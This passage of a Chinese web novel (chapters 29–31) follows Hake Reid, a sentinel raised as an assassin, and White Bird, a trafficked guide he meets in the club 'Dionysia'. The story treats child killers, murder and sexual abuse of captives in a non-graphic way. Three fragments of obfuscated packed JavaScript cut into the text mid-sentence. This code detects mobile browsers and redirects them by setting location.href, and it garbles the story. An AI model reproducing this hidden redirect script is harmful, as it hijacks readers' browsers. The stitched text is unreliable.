l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356919|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两行血泪淌过面颊。 他全身关节扭曲地拧在一起,眼球从眼眶里掉出,已经停止了呼吸。 绞死了土狼的亚马逊森蚺缓缓沉默进河里,海克感到微凉的水流淌过自己身体。 精神动物的感官和共感者共通。 男孩艰难地睁着眼睛,看着自己的手掌。在这里,他感到了蛇鳞的冰冷,感到了将人的骨头一寸寸绞碎,呼吸一寸寸扼死的力量,以及一条逝去的生命。 茂密的树冠在他极度的恐惧和无助中颤抖,他突然无比清晰地意识到自己从此离曾经的生活远去了。他看见父母和妹妹的身影倒映在沼泽水面,一阵风后,便被揉碎消失了。 后来那个男人夸他是一个优秀的学生。来的第七天,他就学会了第二件事。 杀人。 等海克.雷德被正式告知,他所在的机构是一个专门培养杀手的组织时,已经是很久以后了。 这个组织处于灰色地带,和不少乡下圣所有私下交易,会悄悄购买天赋异禀的哨兵们作为新人培养。 S级的哨兵属于国家资源,组织有自知之明,不去争抢,海克.雷德这样A级的哨兵是他们的理想目标。他们致力于把人培养成武器,通过向导的干预和精神控制直接破坏新人产生情感的机能,直到他们不再对任何事情有任何感想。 彼时的海克.雷德已经经历过了这些。他长高了很多,眼神也更加阴郁,对自己的命运,还有男人交给他的任务,都只是沉默地接受。 他很少说话,变了声的嗓子仿佛结了网一样沙哑。把人吊在极限的战斗和精神训练占据了他的生活,而为了增强杀手的服从度和反拷问能力,组织还会刻意对他们进行审讯和折磨——沉默是应对这一切的唯一手段。 组织里的同龄人也并不同彼此交流,因为培养他们的男人会每隔半年把两个人关进同一个房间,只允许一个人活着出来。于是情感就像锻刀时的杂质一样被遗弃了,所有人都变成了机器。他们安静又伺机而动,只等成为别人的死神,或是迎接自己的。 有十几个人死了,海克.雷德活了下来。有时他杀死对方时,他能感觉到对方是主动放弃了生命——他们不愿意这样活着。 随着训练,海克对“自己”的认知已经变得模糊。不见天日的封闭生活让他不知道自己离家多少年,不知道自己多少岁。家乡和家人的模样早在洗脑和岁月中风化,海克最终只记得日复一日的训练,以及服从——第三件事,他学会了遗忘,忘记自己是谁,然后忘记自己是人,只做组织的一把武器。 只是这一课,他学得并不那么好。 亚马逊的丛林太过繁茂,洗脑的向导再经验丰富,也会出现疏漏。他们没发现沼泽的某个角落里,有一片平静的水面。当风拨开红树林的树冠,阳光从特定角度降临时,其中会浮现三个模糊的人影。 这画面朦胧,褪色,只有三个看不清的轮廓,三个转瞬即逝的幻影。这是组织一遍遍洗脑的结果,连海克自己都时常会忘记它的存在。 它不象征着什么,也起不到任何作用。它即没有让海克一片死水的精神有任何波澜,也没有让他心怀任何的希望或光明。只是偶尔,他会突然记起那个画面。那个在他第一次杀人后,沉入水底的画面。 那是不知道多少年前,在他因为觉醒而痛苦的时候,他躺在床上,父母守在他床边,而妹妹担忧地拉住了他的衣角,她说哥哥,没事的,我和爸爸妈妈都陪着你呢。 30. 第二十九章 又过了几年,他终于被委任了第一个任务。他穿着一件普通的卫衣,衣袖里有一把匕首,兜帽的阴影淹没了他的瞳孔。他与周遭格格不入,人们却不会注意到他,就像不会注意一个幽灵。 他已经被蛀空了。他的灵魂被融化,捶打,定形成了一件武器。 离开基地,重新站在人潮之中,海克.雷德却什么也感觉不到。他没有要逃走的念头,甚至没想多看一眼许久未见的晴天,他径直向目标所在走去,就像出鞘的刀直指要害。 被允许离开基地的杀手们,都已经不会对任何人或事抱有任何感情。 当晚,一位黑手党头目在家中暴毙,现场只有他的尸体和寂静的血泊。他死得太安静了,家人和保镖都一无所知,没人找到任何和凶手有关的线索。 后来,又有很多人在世界各地死去,血液流淌在华丽的地毯,光滑的大理石,或是街巷肮脏的地面。海克漆黑的眼睛注视着他们,杀手与死者消散的灵魂都没有留下踪迹。 他不同情他们,也不对他们凄惨的死相有任何想法。有时雇主会指定目标死亡的方式,海克会按照要求完成,无论那多残忍。 要说他和其他人又什么不同,那就是他做得更好,能精准地杀死目标然后离开,从不做多余的事情。 上面的人认为他动静小,效率高,不像某些刺客主打一个把在场的人都干掉就没人知道是我杀的。 他们认为这是种专业的体现,毕竟,突破重重安保只取一人性命,其实比杀死所有人更难。哪有杀手会自己给自己上难度,刻意避免杀死目标以外的人呢? 然后海克.雷德就这么在雇主的赞扬中给自己上了十多年的难度。他踏遍了很多地方,完成了很多任务,一直像一个幽灵一样游荡。他只和目标产生交集,因此和他产生交集的人也都成了尸体,然后他奔赴下一个地点,带走另一条性命。 和所有优秀的杀手一样,他不残存任何感情。而他不杀死目标以外的人,则更像是一种本能的选择。 连他自己都不知道它来源于何处。 那沼泽深处的倒影如同河滩中的宝石,在无人得见的地方散发着光辉。 可惜对杀手来说,光芒从来不是什么好东西,他没能舍弃掉的人性带给了他厄运。 一段被黑色方块加密过的内容显示,海克因为只杀目标对习惯,在一次任务中失手,然后被塔秘密逮捕。 数年监禁后,塔向他提出一个交易——他去杀几个人,而塔将他放出去,允许他在一个叫圣卢塞特的城市里度过余生。 海克.雷德没有说话,他从十岁之后就失去了做选择的权利。他只服从来自组织的命令,对于这样的提议,他根本不做反应。 他坐在椅子上,和在监狱中的其他时间一样,只是漠然地沉默着。 “噢,先生,我们会提出让您去圣卢塞特,当然不是因为那地儿本来就够乱,多一个杀手也无所谓。”和他交易的人开玩笑地说。 “事实上,我们发现一年前,皇家格兰戈医院里入职了一位新的病理科医生,名叫卢娜.雷德。”对方笑着看见海克的黑瞳紧缩起来。 “也许,您会想去看看她。” 后来,海克意识到,塔愿意提出这样的条件,还真不是因为圣卢塞特乱。 这个任务太难,塔其实只是压根不觉得他能活。 但就像过去在基地里那样,海克九死一生地活了下来。塔依约给了他普通人的身份,把他放去了圣卢塞特。 他只是付出了一些的代价。 他的听力退行得比普通人更弱,身体的反应速度也不如以前。他的亚马逊森蚺频繁陷入休眠,一道剖开腹部的狰狞伤疤让它的力量大大减弱。而他的精神图景一片萧条,曾经的丛林尽数枯萎,河流变为死水,荒芜的土地上,指向天空的树枝如同求助的,枯瘦的手臂。 天空中徘徊着永远不散的乌云,而大地上不断出现新的裂口——这是海克精神受损的具像化。 这次任务让一个手臂折断也不会动摇的A级哨兵产生了肢体幻痛和一种古怪的神游症。 他的感官不会因为外界的信息过载,却会无止境地放大幻痛。有时他走神了一瞬,这剧痛就会像黑洞一样将他的意识撕扯,让他无法控制自己的行为。 他感到自己正在向自己的内里坍缩,他知道总有一天自己会疯,像自己第一个杀死的哨兵那样陷入毫无理智、无药可救的狂躁。 但这对他来说都不重要。 在皇家格兰戈外,他看着卢娜.雷德走进医院的大楼。他站得很远,而她走得很快,那漆黑的瞳孔和发色从海克面前一闪而过。她穿着白大褂,表情严肃冷漠,看不出小时候那个女孩的影子,但海克知道这就是他的妹妹,卢娜.雷德。 在他不在的时候,她平安地成长为了一个优秀的人。 亲眼看见这个事实,对他来说就已经足够。 海克不能离开圣卢塞特,但他也没想过要去打扰卢娜的生活。他漫无目的流浪了一阵。神游症让他城市的角落中昏死,又在虚无的漩涡里挣扎着醒来,连流浪的“蟑螂”们都离他远远的。 不久后,他发现卢娜除了在医院工作之外,还需要去兼职打工。她住在圣卢塞特贫民区里的旧公寓里,每天半夜揣着一瓶防狼喷雾和一把小刀回家。她在医院的工资全都去还了学贷,需要额外的收入来挣取生活费。 从没上过学的海克这才知道医学院的价格如此高昂。 看着妹妹一个人走在深夜暗淡无光的街道,海克.雷德这个被遗弃的、破损的武器,突然有了自发做些什么的冲动。 丛林之中死水中又浮动起童年的幻影,他久违地想起小时候用零花钱给妹妹准备生日的事情。他没产生什么温馨或怀念的感觉,但他想,离开了她那么久,也许现在他能为她补上点什么。 然后海克发现,他不能。 他什么也不会。 他能杀人,能潜入最严防死守的秘密基地,但他制作不出客人需要的咖啡,整理不清超市里的货物,即使是去端盘子,这幅阴沉的模样也通不过老板的考核。他笑不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356920|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不懂如何与人沟通,酒店连行李都不愿意让他搬。 有夜店的老板觉得他适合来门口做保安,但海克.雷德受的训练没教过他点到为止。他只是想让那个来闹事的失去意识而已,可对方出乎意地弱。一拳让对方昏迷一星期之后,夜店的老板赔了大笔钱给对方,然后把他开除了。 “你他妈……要是你是个哨兵,说不定能在酒神节那鬼地方找到工作。可惜你不是,我这儿也不是酒神节。”老板说,在暴雨倾盆的雨天扣掉了他所有的工资,把他赶了出去,“快滚吧,白痴。” “……” 海克.雷德走在雨里,浑身被雨水浸透。他掂量着酒神节这个名字。 夜店的老板毕竟经验老道,虽然他没看出海克其实是一位哨兵,但另一件事他说对了——海克在酒神节找到了工作。 没有比这更适合他的工作了。即使感官残疾,他依然有着超群的战斗力,而他的心又是那样的一潭死水,那些被玩弄和折磨的向导再怎么痛苦,他都不会产生一丝的同情和恻隐之心。 雇主喜欢他,则是因为他和其他看守不同,甚至没有一丝对那些向导的贪图和欲望。 他什么都感觉不到。 海克对这份工作任劳任怨。他一月的薪水就够还上一大笔卢娜的贷款,而他需要做的只是隐瞒自己有神游症的事实——酒神节不希望他们的员工在一个满是哨兵向导的地方暴走。 只是,酒神节第三层舒适的环境反而加重了海克神游症发作的频率。 完全安静、没有刺激的环境里,没有东西能够分散海克的注意力。于是从内里将他撕裂的那种病症愈发明显起来,他频繁地出现幻觉,觉得自己没能成功从塔的那次任务里活下来。 神游症影响了他对现实的认知。从幻觉里挣脱出来后,他时常会一个人站在一片荒芜的精神图景里,自己被自己囚禁,无法离去。 在雨林残留的焦土上,海克浑身冷汗地喘息,阴暗的天空闪过雷与电光,而雨从不真的下降。 这种时候,认知紊乱会让他感觉到过去受过的所有伤。 从十岁那年第一次被项圈电击,到最近那次自己的精神动物被开膛破肚,它们徘徊在他身体里,啃噬着他的血肉,让亚马逊的大地再次轰鸣着断出一道裂痕。 同事们总在享受着酒神节第三层这个高级静音室,而海克永远独自站在一旁,踩在云朵般的地毯上,从内部逐渐崩塌。 直到有一天神游症发作时,任务的幻觉突然从他眼前消失。一种陌生而温暖的悸动从幻痛里浮现,他看见一束久违的阳光如同黄金的长剑刺穿精神图景里的乌云。 有片红树林张了新芽,几乎让他陌生的,稚嫩的新绿细密地簇拥在一起,像是从坟墓里苏生的奇迹。 亚马逊森蚺潜伏在水里,和他一起注视着这一切。 在那重新茂盛起来的枝头,他们都看见了一个从未出现在雨林中的东西。 虽然它自认为自己藏得很好,但哨兵只瞥了一眼,就发现了这只躲在树冠上的白鸽。 31. 第三十章 没想到这精神图景如此惨不忍睹……信鸽这么想着。 这只白色的信鸽之所以会飞来,是因为他感觉到了一种沉重得让人难以呼吸的痛苦。 这在酒神节很常见,因为这里所有的向导都深陷同样的绝望。而他曾经成功偷偷帮上几次忙,短暂地平复过他们的伤痛,于是他这次也像往常一样偷偷溜进了别人的精神图景。 可这里不像是他被药物影响的同胞们的精神图景。那种地方充满迷幻、崩坏,没有逻辑的景象,而这里看起来只是经历了折磨和创伤而已。 好吧,“只是”也许并不是一个合适的词语,信鸽怎么也想不出,到底是怎样的精神创伤会造成这么惨烈的景象。他想办法让一小片雨林重现了生机,但来不及做更多了。 就在他煽动翅膀,准备从枝头飞起时,一阵胆寒的感觉突然袭击了他。 他回过头,看见一只巨大的森蚺盘绕在树枝,圆溜溜的眼睛正盯着他看。 咦? 信鸽也眨了眨眼睛。 这种精神动物……这是个哨兵? 在他反应过来的下一秒,一双手拢了过来。一个黑发黑瞳的男人如履平地般站在大树粗壮的枝干上,像握住一个毛绒玩具一样轻易地捉住了他,眯起眼睛打量。 糟糕了。 酒神节里的哨兵都不是善茬,这个人面无表情的模样又实在有些可怕。信鸽属实不会什么逃跑技巧,情急之下想出一个笨办法,眼一闭气一屏,直接变回了人形,从对方手里挣脱了出来。 白发蓝眼的青年向后倒去,坠下高空。 “抱歉……但请相信我,我没有恶意。” 他说着,在半空中转过身体,化为白鸽,向天空飞去。 结果他没飞出去。 男人的精神虽然已经在崩坏的边沿,却不知为何还有十足的余力封锁精神图景。信鸽穿过云层,却从树上的绿芽丛里钻了出来,男人还在原地,用刚刚一模一样的姿势捉住他,手指陷在洁白蓬松的羽毛里。 “为什么来这里?解释。” 他冷酷地说,以一种根本不讲道理的灵活和稳当踩着树的枝干落地,对信鸽道:“变回来。” “他们……叫我白鸟……原因如你刚刚所见。” 变回来了的青年在哨兵的目光里有些迟疑,蓝色的眼睛里充满着警惕和担忧。男人身上带着一种肃杀的压迫感,趁着对方还没有表现出攻击的意图,他解释道: “我是个向导,现在正在你的隔壁,或者隔壁的隔壁‘接待’。我的共感力比其他人稍微强一些,信鸽能飞得更远,所以能进入附近向导们的精神图景里。” “大家在这里都……过得不太好,我只是想帮他们一把——我以前在塔做过精神疏导师,能让他们感觉好一点。” “我没有入侵的意思。”青年说,“我只是在寻找痛苦感情的来源,并且修复它而已。我没想到你……酒神节的哨兵都是来享乐的,从不散发痛苦的情绪,我不知道自己会进入一个哨兵的领域。” 白鸟站在灰黑的丛林残骸之上,一头白发使他像是快要融化的一片雪花。他看着眼前的男人,握了握拳,鼓起勇气道:“请不要告发我,拜托了。有一个年轻向导最近的状况很糟糕,没有我的话,他很快就会崩溃的,我不能眼睁睁看着……” “……” 男人没有理会他的长篇大论,表情也没有变化。白鸟心里升起一种绝望。他不知道对方想要什么,也感觉到不到对方的情感,但他知道酒神节的哨兵们一般都喜欢什么。 向导深吸了一口气,闭上眼睛:“只要你不告发我,我可以帮你修复你的精神图景,如果你还需要我做别的,我也不会拒绝。” “……什么是精神疏导师?” “嗯?” 白鸟惊讶地睁开眼睛,看着男人依然冷漠的脸——他可没想到男人开口说的会是这句话。 “就是常驻在塔里为共感者,尤其是哨兵们,治疗感官过载和负面情绪、记忆,心理阴影的向导。”白鸟很意外对方竟然不知道这个,更意外对方是真的在好奇这个,“你可以理解为塔里的医生?” “……医生。”男人思索了一下,白鸟感觉到他身上有一点微弱的情感波动——温柔的情感波动。 他说:“我的妹妹,也是医生。” “你为什么要来这里?” 海克问道。白鸟,那个之前误入他精神图景的向导正坐在浅水滩里,他的森蚺缠在白鸟肩膀上,贴着青年的脖子,好奇地吐着信子。 “回来。”海克对森蚺说,让它潜回自己身边。他虽然不懂得体谅人的心情,但能看出白鸟非常僵硬。要是森蚺继续扒拉着,他大概是说不出来话的。 “呼……谢谢。”白鸟长舒一口气,抬起头来,满身是水的样子有些狼狈。 “我之前跟你说过的那个小向导,他状况好转了一些。”他说。海克的模样还是让他有些紧张,但他还是非常认真地回答:“你没去告发我……所以我想我还是应该遵守承诺,帮你修复精神图景的。” “……?”海克奇怪地看着他。 上一次确认白鸟没有恶意之后,他就直接放他离开了。酒神节要求他做的事情只有一件:防止向导逃脱,告发一个在悄悄帮助同胞的向导显然不是他职责的一部分,他自然不予理会。 但白鸟确实把海克根本没当回事的承诺当成了自己职责的一部分。又轮到他‘接客’时,他悄悄返回了海克的精神图景。 现在他所在的这片河流水流清澈,沿岸郁郁葱葱,像是幅上了色的画。 “你很……奇怪。你不怕我这次不放你出去吗?”海克问。他居高临下,影子笼罩着白鸟。 他不是在威胁,只是发自内心地疑问,毕竟对于一个杀手来说,重返成功逃离的现场根本是不可能的事情。 “你来我这里,到底有什么意义?” “意义啊……” 白鸟坐在水里,有些愣神。水滴从他的发梢滴落,仿佛雪花正在融化。半晌,他回过神来,露出一个有点无奈的笑。 “你难道真的不知道你散发的情绪有多痛苦吗……?不巧的是,我有职业病,即使知道可能是陷阱,也实在没办法对别人的痛苦坐视不管啊。” 后来海克才知道,“无法坐视不管”,也是白鸟沦落到这里的原因。 白鸟不是奥西恩人。他出生于另一个风景优美,经济发达的国家,美满的家庭和良好的成长环境养成了他善良而温和的性格。觉醒成向导,并发现自己有着比常人更强的共感和安抚能力后,他选择成为塔的精神疏导师,并成为了最受欢迎的那一个。 他漂亮的脸是人们喜欢他的原因之一,而真正让他被所有人尊敬的,是他从不将任何人弃之不顾,即使是普通人,只要向他求助,他也会伸出援手。 修复精神图景是一项繁杂的工作,但白鸟从不厌倦。精神图景是共感者意识的具像化,有时,他们美好的回忆会转化成图景中明丽的风景,有海边粉紫色的天空,也有明艳的郁金香田——白鸟喜欢自然,所幸他能透过很多人的眼睛,去看很多美好的景象。 然而信鸽总渴望飞向远方。久而久之,白鸟开始想亲眼去看,究竟是什么样的风景,什么样的人与事,造就了这些如画的图景。 有一天,他辞掉了工作,离开了家乡。 旅程的终点,他定在了离南极最近的那个国家。他曾帮助过一个在南极驻扎过的科考员从极端的孤独中恢复。对方只是个普通人,没有精神图景。在听说白鸟喜欢自然景观后,他发给他了一段亲手录制的视频。 极光在星空下如同翡翠色的银河,瑰丽而庞博。在那极地连绵的冰原之上,将整个世界都点燃成跃动的异色火焰。 那是黎明的化身,太阳的风暴,维京人通往英灵殿的彩虹桥。科考员说,白鸟已经透过别人的眼睛看到很多,而这应该是他透过自己眼睛去目睹的东西。 白鸟深以为然,踏上旅途。他一路跋涉,但行程总被耽误。路过的村庄,小镇,城市里总有会有人在痛苦,也许是流浪汉,也许是农夫,也许是酒吧台上的驻唱歌手或者香槟塔旁一掷千金的富豪。 就像医生无法放着病人不管一样,白鸟会悄悄地帮他们一把,只是悄悄的,等他们脸上的疲惫缓和,他再悄悄地离开。 他旅行过了好几个国家,直到来到奥西恩。一场铁路罢工取消了他的列车,他来到了圣卢塞特暂住一晚,下榻在一家廉价的汽车旅馆。 他只是没想到就这么一晚,自己会因为习以为常地伸出援手被人盯上。他没想到那个在汽车旅馆里哭泣的女孩是一个吸引向导的陷阱。他没想到自己会失去意识,被绑走,被拍卖,然后被送到了酒神节然后被…… 呜…… 他想止住回忆,但止不住买下他的人的手在自己身上游移的触感。 “啪嗒。” 白鸟回过神来,看向天空。他的精神正在海克雨林里。 森蚺的尾巴甩出几滴河水。这只凶残的冷血动物在水里浮着,眼巴巴地看着他。 “唔……好吧,好吧。你过来吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356921|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他伸出手,让森蚺缠上他的手臂,然后和他贴在一起。鉴于它本身比白鸟的手臂还粗,青年嫌重,干脆躺到在了地上。 现在他已经不怕它了,它其实只是喜欢人的体温而已。 他溜到海克精神图景的频率比之前更频繁了。海克和酒神节的其他人不太一样,白鸟从他身上感觉不到那种令人作呕的贪欲和所求。他的情绪很安静,鲜少有波动,反而能像冷冽的水一样洗去白鸟在现实中承受的不适感。 海克跟他讲了一些自己的过去,轻描淡写地带过了很多残酷的事情。一把坏掉的,走投无路的武器,一个情感稀薄,自称是废物的怪物,对白鸟来说,却成了整个酒神节最安全的存在。 “海克。”他喊了声哨兵的名字,对方正冷着脸,难得地散发着一种奇怪的,别扭的情绪,好像森蚺的行为正让哨兵不太自在。 “如果你不介意的话,能给我看看你图景里回忆的象征吗?”白鸟仰着头问他,“美好的回忆是修复精神图景的重要来源。” “……”海克陷入思考,他似乎对美好和回忆两个词都非常陌生。 他走到白鸟身边,蹲下。一束阳光落在他们头顶,从水面跳跃进他们眼里。 杀手不懂得何为信任,但能分辨得出善意与恶意。组织的向导只想毁了他的精神,头一次有人带着善意这么问他,他亦有些不知所措。 像第一次被人递了一颗糖的孩子,迫不及待要回以自己偷偷藏起来的所有,他就这么把一直藏着的秘密展示了出来,毫无保留。 他的所有,就是水面上三个模糊的影子。 海克忽然有些不好意思:“我只有,这个。” “……”白鸟正色起来。他没有说话,跪坐在水边,手悬浮在水面,轻轻闭上了眼睛。 海克真正向他开放了精神世界的核心,他也终于能够真正接触哨兵的意识深处。 如何形容呢?在雨林之下,海克一直以来的精神的本质,就是一道海底冷寂的裂口,一片无望无光的深渊。 但有一道光像一颗遥远的星星一样在深渊里闪烁,从杀手还年幼时就一直存在在那里,无论怎样的黑暗都未曾淹没它的光辉—— 白鸟伸手,捧住了那颗星星。 海克很久都没感到过了紧张。 他不知道白鸟是在做些什么,但一种奇异的感觉正影响着他,他好像在不知不觉之间把自己交了出去。 然而一种温暖忽然开始扩散,像是打翻了的阳光。伴随着飘落的羽毛,许多光束,就像照亮水面的这一抹一样,破开远方的阴云,让浅金色在雨林上空绽放。干涸的河道中涌出清亮的水,植物像是受到感召一样向阳光伸出新的枝桠,即使是支配着这里的哨兵,海克依然对蔓延开的新绿应接不暇。 幻痛开始从他的肢体里褪下。杀手习惯了疼痛,却对安慰感到陌生。他头一次看见奇迹在眼前发生,狂跳的心脏让他一动也不敢动。 然而当他看向那水边的向导时,却愣住了。 “白鸟,你……” 白发的青年睁开了眼睛,一滴眼泪从他眼角滑落。 “咦……?”向导自己似乎也十分惊讶,他看向水面,在海克家人的幻象上,他看见了自己的倒影脸上有泪水。 白鸟眨了眨眼睛,然后忽然笑了。 “这确实是非常美好的回忆。”他说,“我能够感觉到……让人在绝境之中生存下来的爱,因为它的力量,我才能进行大范围的修复。” 向导的声音有些颤抖,身体却放松了下来:“你一定很爱你的家人。真好……这样的感情还保留着,真是太好了。” 由于情感上的共感能力,一个向导如果长时间只接触负面情绪,是会崩溃的。 即使是带来希望的白鸽,也需要人性的光明才能继续前行。 那些令人反胃的触碰,那些折辱尊严的羞辱,那强加到他身上的药物的负面影响,还有即使他拼命去挽救,还是崩溃了向导们的绝望,在一个杀手所保有的爱里,竟然短暂地消解了。 白鸟闭上双眼,他的喉咙抽噎了一下。 “谢谢你,海克……自从来了酒神节,我也好久好久……没有接触到过美好的东西了。 “但你为什么要哭。你,你先别哭……” 海克不明白发生了什么。这个被荷枪实弹的军队包围也不会有半点惊慌的杀手,此时也顾不上惊讶自己还保留有爱的能力,只是看着白鸟落泪而不知所措。 而他的森蚺已经攀上了白鸟肩膀,侧过脸轻轻蹭掉了青年的眼泪。 32. 第三十一章 他们一起走在海边。 这是已然落幕的黄昏,天空笼罩着夜色。星和月已经升起。海克和白鸟踩在沙滩上,身披漫天的星光。 沙滩上没留下脚印,也没用海浪翻涌的声音。沉寂在看似广阔的空间里发酵,一切都是静止的。 “其实这里以前是有海风的,还有海浪声……只是现在我精神图景的模拟越来越不真实了……”白鸟看着远方喃喃,“不过这里本来就是假的……抱歉啊,在这里,你的心情应该也好不起来吧。” “不要抱歉,这里很漂亮。”海克说,但白鸟似乎没有听见。他侧着脸看着漆黑而寂静的海洋,信鸽无精打采地停在海克肩头。 他最近经常这样失神,这让海克感觉很不好。他说不清这种全然陌生的情感,但它让一个杀手的心脏战栗。 ——这里是白鸟精神图景的一部分。 不是所有共感者都有足够的能力支撑起一片广袤的雨林,但海克觉得白鸟的精神图景比自己的更好。 它的本体是一个小房间,原型是白鸟家的卧室。这里摆着向导从小到大收集的书和摆件,床上铺着祖母织的毯子,海克隐约在其中看见了一点自己早已遗忘的家的影子。 房间的墙上有复古的墙纸,还有很多照片,展示着世界各地的风景。这是白鸟收到的谢礼:受到过白鸟帮助的人们会分享自己回忆的一小部分给他,就像送给他一张留作纪念的明信片。 而这也是白鸟的精神图景最独特的地方——那些照片是可以进入的。 在照片中有限的空间里,白鸟能模拟出身临其境的环境,并且自由地在各个照片中穿行。他只需在塞纳河摇晃的游船上跨出一步,就能走进万神殿穹顶上飞落的玫瑰花雨。 海克第一次来他的精神图景时,一不小心掉进了一张照片,被几只狒狒围着,差点让森蚺动手。白鸟笑得直抖,他说这是一个护林员的回忆,没想到海克居然应付不来狒狒递来的香蕉。 “走吧。我们换个地方。”白鸟说,他拉过海克的手腕,向前走去。 海克跟着他,踩过地上的青苔,一脚踏入一片六月的薰衣草田。紫色的植物漫山遍野,在风中像是一片在梦境中翻涌的海洋,白鸟回过头来,蓝色的眼睛里带着笑意,那花海上高远的晴天此刻竟不如一双瞳孔夺目。 彼时海克的精神图景已经稳定下来,而白鸟还有其他人要救助,不得不把时间都花在别的图景里。 向导难过又郑重地跟海克道别,准备好继续独自面对地狱,结果下一次醒来,自己精神图景的沙发上窝着一只森蚺。海克在旁边,告诉他:你不需要来找我,如果你需要我,我会来找你。 这话在别人听来也许很恐怖,因为海克曾经最擅长的攻击方式之一就是侵入目标的精神图景,直接让亚马逊森蚺碾碎对方的骨头。现在恢复了入侵精神图景的能力后,他却只是用它来串门。 而白鸟也确实需要人陪伴,当他从同胞千疮百孔的精神图景里返回时,照片里明丽的景色和此刻的孤独与绝望只会刺痛他的心脏。 可海克在他身边时,他总能感觉到一种安定。他带他进入那些照片,像是带朋友回到自己的家中,又像是和他一同踏上一场旅途。 风景总是要有人在,才能活过来的。 他们在这些虚假的旅程中聊了很多。白鸟救助的向导们情况都很不好,崩坏的精神让他们几乎无法交流。这让他感到担忧,也感到恐惧,他有时错觉自己已经死了,只是在一群亡灵中游荡。然后身边的海克喊了他的名字,忽然把他从冥界拉回人间。 他明明是个杀手……白鸟想。可他喊自己名字的时候,声音却很温柔。 海克话不算多,但和他聊天是很奇妙的体验。杀手有时语出惊人,比如真诚地问我妹好像被主任批评了心情不好,要不要去把主任腿打断,或者轻描淡写地说起自己在教堂的高处用一把狙击枪送走前来祈祷的意大利黑手党,血和穿过彩窗的阳光一同洒在地上。 而白鸟的故事都很普通。他告诉哨兵,自己曾经在烤面包时炸过烤箱,在同一片区域迷路,反复绕回同一个喷泉旁。有次一个共感者在广场喂鸽子,把他的信鸽当成其中一只,见它不吃,抓着一把玉米粒追着喂。 他收到过卖花的少女剩下的最后一枝花,之后将它留给了街边卖艺的小提琴手。他被乡下村庄里的老人邀请到家中一坐,听白发苍苍的人弹一台旧钢琴。在夜晚的广场上,他挤在人群中听一位歌手弹唱一首关于爱情的歌。 多么陌生,多么神奇的生活啊。海克总是会这么想道,他看着白鸟的脸,有些出神。他就这么安静地听着白鸟把半生的平凡经历都讲给自己听,感到空洞的灵魂似乎在被什么东西逐渐填满。 白鸟有时自嘲,这些无聊的小事听完就请忘记吧,但海克很认真地回答他:自己会记住的。 白鸟愣了愣。彼时他们正坐在一片郁金香园,远处巨大的风车悠悠地转。向导眨了下眼,眼眶突然红了。 “海克……谢谢你,愿意记住我的事情。” 海克觉得白鸟看起来有些开心,又有些悲伤。 他后来才知道,白鸟说的每一句话,都是抱着诉说遗言的心情。这些组成白鸟平凡人生的平凡经历总,有一天会随着他的生命一起逝去。 但有人说过,只要不被人遗忘,就不算真正的死亡——如果杀手能在记忆中给他留下一席之地,白鸟想,死亡似乎也没那么可怕。 也许下一次,他就无法从强制的昏迷中醒来。 因为药物和折磨在推着他向前,向那永恒的深渊。 事情理所当然地变坏了。 是什么时候开始的?海克已经记不清楚了。白鸟墙上的照片渐渐变少了,房间里的东西一天比一天模糊,书架上,他小时候看的童话变成乱码。 他时常发呆,又时常莫名地颤抖,笑的时候也显得很疲惫,好像牵动嘴角要花费很大的力气。他的话变少了,也开始听不见海克喊他名字,他的灵魂好像正消逝在很远很远的地方。 他的白鸽依然在飞去其他人的精神图景,他依然会带海克去照片中的风景,但他自己的精神不可抵挡地越来越糟糕。 有一天他在海克眼前跌倒在地上,毫无征兆,无声无息。他像个孩子一样蜷缩成一团,紧紧抱着自己的身体,似乎是想躲开什么人的触碰,而他的精神图景忽然皲裂,裂缝中涌动着混沌的色彩——药物的作用早就腐蚀了这里,只是白鸟一直在尽力维持原状。 海克不懂如何救助他人。他笨拙又徒劳地捞起把向导僵硬的身体,抱在怀里。他听见白鸟发出模糊而痛苦的呢喃,就好像他正在碎成一块块碎片。 森蚺环绕过来,贴着他们两个。 一段时间后,白鸟猛地睁开眼睛。他昏死时很平静,醒来时却像从噩梦里惊醒。 他是修复精神图景的医生,他比谁都清楚自己的状况。恢复意识后,他看着崩坏的精神图景,对海克说:“你陪我去一个地方吧。” 他们来到了这片夜晚的海边,来到了星空之下。远处小镇上的建筑亮着灯,如同夜空下小小的蜡烛,而白鸟仰起头,蓝色的失神的眼睛连星星都无法照亮。 夜色模糊了白鸟的轮廓,海克听见他在呼吸,万籁俱寂的精神图景里,他发出的声音是那样的羸弱。 海克从来不畏惧黑暗,他哨兵的眼睛能让他在夜晚也视野清晰,他分明能看清白鸟的,天空也分明地闪烁着星光。 可无风无浪的海边,他总觉得眼前的人,下一秒就要被漆黑的海吞没了。 他其实知道白鸟为什么会来这里。 白鸟精神图景的房间里,摆着一部手机,上面是一段视频,有绚烂的光芒降临在冰原上。白鸟说这是极光,他踏上旅程,就是为了亲眼看到极光。等他看见了,他就把它的照片贴在最中心的墙上。 这片海的原型纬度较高,是白鸟所有的照片里,离极光最近的地方。 海克看着白鸟,他纯白的发色让他看起来像是一缕会随风而逝的月光。可海克不想这白色的身影消失,它不应该在这棺椁一样的夜晚里消逝。 